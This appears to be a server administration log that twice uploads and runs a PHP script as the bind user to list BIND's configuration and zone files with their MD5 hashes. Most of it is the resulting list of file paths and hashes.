MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 10:38:04: Establishing a connection
2026-04-28 10:38:05: 

PUT: /tmp/pkp603904

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 10:38:05: 

runuser -l bind -s /bin/bash -c '/tmp/pkp603904; rm /tmp/pkp603904'

2026-04-28 10:38:05: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 10:38:06: Establishing a connection
2026-04-28 10:38:06: 

PUT: /tmp/pkp840616

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 10:38:07: 

runuser -l bind -s /bin/bash -c '/tmp/pkp840616; rm /tmp/pkp840616'

2026-04-28 10:38:07: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
